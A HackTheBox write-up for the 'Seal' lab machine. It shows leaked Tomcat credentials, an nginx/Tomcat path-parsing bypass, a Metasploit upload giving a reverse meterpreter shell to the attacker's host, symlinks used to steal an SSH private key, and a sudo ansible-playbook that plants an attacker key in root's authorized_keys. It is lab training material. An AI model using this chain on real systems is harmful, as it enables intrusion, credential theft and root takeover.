Seal - [HTB]

Cover Image for Seal - [HTB]
Marmeus
Marmeus

Introduction

Seal is an easy-medium linux machine from HackTheBox where the attacker will have to search for credentials in a gitbucket repository used in a bypass of an URL parser logic from the tomcat service. Then, in order to become root the attacker will have to create symbolic links to obtain luis' ssh private key. Finally, the attacker will gave to create an ansible playbook in order to retrieve the root flag.

Enumeration

As always, let's start finding all opened ports in the machine with nmap.

kali@kali:~/Documents/HTB/Seal$ sudo nmap -sS -p- -n -T5 -oN AllPorts.txt 10.129.180.13
Warning: 10.129.180.13 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.129.180.13
Host is up (0.044s latency).
Not shown: 65384 closed ports, 148 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
443/tcp  open  https
8080/tcp open  http-proxy

# Nmap done at Sat Jul 10 15:26:59 2021 -- 1 IP address (1 host up) scanned in 50.75 seconds

Then, we continue with a deeper scan of every opened port, getting more information about each service.

kali@kali:~/Documents/HTB/Seal$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,443,8080 10.129.180.13
Nmap scan report for 10.129.180.13
Host is up (0.040s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after:  2022-05-05T10:24:03
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
8080/tcp open  http-proxy
[...]

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 10 15:28:18 2021 -- 1 IP address (1 host up) scanned in 18.57 seconds

Thanks to nmap we can add seal.htb to /etc/hosts so you will be able to access to the seal market despite not having nothing interesting.

SEAL MARKET

Then, in the 8080 port there is a gitbucket page running. We need to register in order to see what is inside.

Gitbucket

In gitbucket there are two repositories Seal_market and infra.

Gitbukcet repositories

In seal_market there is a issue where we can find another issue about mutual authentication.

Seal market issue

Searching through every commit we can find in the commit "Adding tomcat configuration" the credentials for the tomcat manager.

<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>

However, we are not able to access to the tomcat's directories: /manager/html and/host-manager/html, due to the following configuration.

	location /manager/html {
		if ($ssl_client_verify != SUCCESS) {
			return 403;
		}
[...]
	}
 
        location /host-manager/html {
                if ($ssl_client_verify != SUCCESS) {
                        return 403;
                }
[...]
        }

Exploitation

Nonetheless there is a way to break the tomcat URL parser logic, as we can see in a blackhat presentation, but basically we can bypass the parser with https://seal.htb/manager/..;/manager/html.

Furtheremore, there is a metasploit module that we can use in order to obtain a reverse shell as tomcat.

msf6 exploit(multi/http/tomcat_mgr_upload) > options
Module options (exploit/multi/http/tomcat_mgr_upload):

   Name          Current Setting        Required  Description
   ----          ---------------        --------  -----------
   HttpPassword  42MrHBf*z8{Z%          no        The password for the specified username
   HttpUsername  tomcat                 no        The username to authenticate as
   Proxies                              no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        10.129.9.7             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         443                    yes       The target port (TCP)
   SSL           true                   no        Negotiate SSL/TLS for outgoing connections
   TARGETURI     /manager/..;/manager/  yes       The URI path of the manager app (/html/upload and /undeploy will be used)
   VHOST         seal.htb               no        HTTP server virtual host


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.26      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Java Universal
msf6 exploit(multi/http/tomcat_mgr_upload) > run

[*] Started reverse TCP handler on 10.10.14.26:4444 
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying ayjTOkltRwI0Q...
[*] Executing ayjTOkltRwI0Q...
[*] Undeploying ayjTOkltRwI0Q ...
[*] Sending stage (58033 bytes) to 10.129.9.7
[*] Meterpreter session 1 opened (10.10.14.26:4444 -> 10.129.9.7:49534) at 2021-07-12 14:18:58 -0400

meterpreter > shell
Process 1 created.
Channel 1 created.
id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)

Privilege escalation 1

Enumerating the file system there is a special folder /opt/backups where we can find backup files and a run.yml file.

meterpreter > ls -laR /opt/backups
Listing: /opt/backups/archives
==============================
Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100444/r--r--r--  606047  fil   2021-07-13 04:55:44 -0400  backup-2021-07-13-08:55:38.gz
100444/r--r--r--  606047  fil   2021-07-13 04:56:45 -0400  backup-2021-07-13-08:56:39.gz
100444/r--r--r--  606047  fil   2021-07-13 04:57:45 -0400  backup-2021-07-13-08:57:38.gz

Listing: /opt/backups/playbook
==============================
Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100444/r--r--r--  403   fil   2021-05-07 03:14:42 -0400  run.yml

Listing: /opt/backups
=====================
Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40554/r-xr-xr--  4096  dir   2021-07-13 04:46:45 -0400  archives
40554/r-xr-xr--  4096  dir   2021-05-07 05:26:42 -0400  playbook

Looking inside run.yml, the script copies each file in the /var/lib/tomcat9/webapps/ROOT/admin/dashboard folder into a gzip file.

meterpreter > cat run.yml
- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
  - name: Clean
    file:
      state: absent
      path: /opt/backups/files/

Furthermore, inside the dashboard folder there is another folder upload where we have write permissions.

meterpreter > ls /var/lib/tomcat9/webapps/ROOT/admin/dashboard
Listing: /var/lib/tomcat9/webapps/ROOT/admin/dashboard
======================================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
40554/r-xr-xr--   4096   dir   2015-03-07 11:30:24 -0500  bootstrap
40554/r-xr-xr--   4096   dir   2015-03-07 11:30:24 -0500  css
40554/r-xr-xr--   4096   dir   2015-03-07 11:30:24 -0500  images
100444/r--r--r--  71744  fil   2021-05-06 06:42:07 -0400  index.html
40554/r-xr-xr--   4096   dir   2015-03-07 11:30:24 -0500  scripts
40776/rwxrwxrw-   4096   dir   2021-05-07 05:26:42 -0400  upload

Hence, symbolic link files can be added to the uploads folder retrieving the actual files once the run.yml is being executed.

The commands are the following.

meterpreter > cd /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
meterpreter > shell
Process 12 created.                            
Channel 31 created.                                           
ln -s /home/luis/user.txt user.txt                                                                                 ln -s /home/luis/.ssh/id_rsa id_rsa
exit
meterpreter > cd /opt/backups/archives                                            
meterpreter > ls
Listing: /opt/backups/archives
==============================
Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100444/r--r--r--  609005  fil   2021-07-13 05:15:45 -0400  backup-2021-07-13-09:15:37.gz

meterpreter > download backup-2021-07-13-09:15:37.gz
[*] Downloading: backup-2021-07-13-09:15:37.gz -> /tmp/backup-2021-07-13-09:15:37.gz
[*] Downloaded 594.73 KiB of 594.73 KiB (100.0%): backup-2021-07-13-09:15:37.gz -> /tmp/backup-2021-07-13-09:15:37.gz
[*] download   : backup-2021-07-13-09:15:37.gz -> /tmp/backup-2021-07-13-09:15:37.gz

kali@kali:/tmp$ gunzip backup-2021-07-13-09:15:37.gz
kali@kali:/tmp$ mimeopen -a backup-2021-07-13-09:15:37
Please choose an application

        1) Engrampa Archive Manager  (engrampa)

use application #1
Opening "backup-2021-07-13-09:15:37" with Engrampa Archive Manager  (application/x-tar)

As we can see in the picture below we obtained successfully both files.

Backup files

Once the id_rsa file has been extracted,it can be used for getting access as luis through SSH.

kali@kali:/tmp$ chmod 600 id_rsa
kali@kali:/tmp$ ssh -i id_rsa luis@seal.htb
luis@seal:~$ id
uid=1000(luis) gid=1000(luis) groups=1000(luis)

Privilege escalation 2

The user luis can execute the following python script as root.

luis@seal:/tmp$ sudo -l
Matching Defaults entries for luis on seal:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User luis may run the following commands on seal:
    (ALL) NOPASSWD: /usr/bin/ansible-playbook *

Thanks to the examples in this post we can create our own run.yml which will allow us to connect to the machine as the root user through ssh.

Note: Create you own ssh id_rsa.pub key in order to add it to the file.

luis@seal:/tmp$ cat run.yml 
- hosts: localhost
  tasks:
  - name: Run a command as nobody
    shell:
         "mkdir /root/.ssh; echo '<id_rsa.pub>' > /root/.ssh/authorized_keys"

In order to obtain the root flag, execute the script and then connect to the machine as you can see below.

luis@seal:/tmp$ sudo /usr/bin/ansible-playbook /tmp/run.yml 
PLAY [localhost] 
***************************
TASK [Gathering Facts] 
***************************
ok: [localhost]

TASK [Run a command as nobody] 
***************************
[WARNING]: Consider using the file module with state=directory rather than running 'mkdir'.  If you need to use command because file is insufficient you can add
'warn: false' to this command task or set 'command_warnings=False' in ansible.cfg to get rid of this message.
changed: [localhost]

PLAY RECAP 
***************************
localhost                  : ok=2    changed=1    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0  

kali@kali:~/Documents/HTB/Seal$ ssh root@seal.htb
root@seal:~# cat root.txt 
[CENSORED]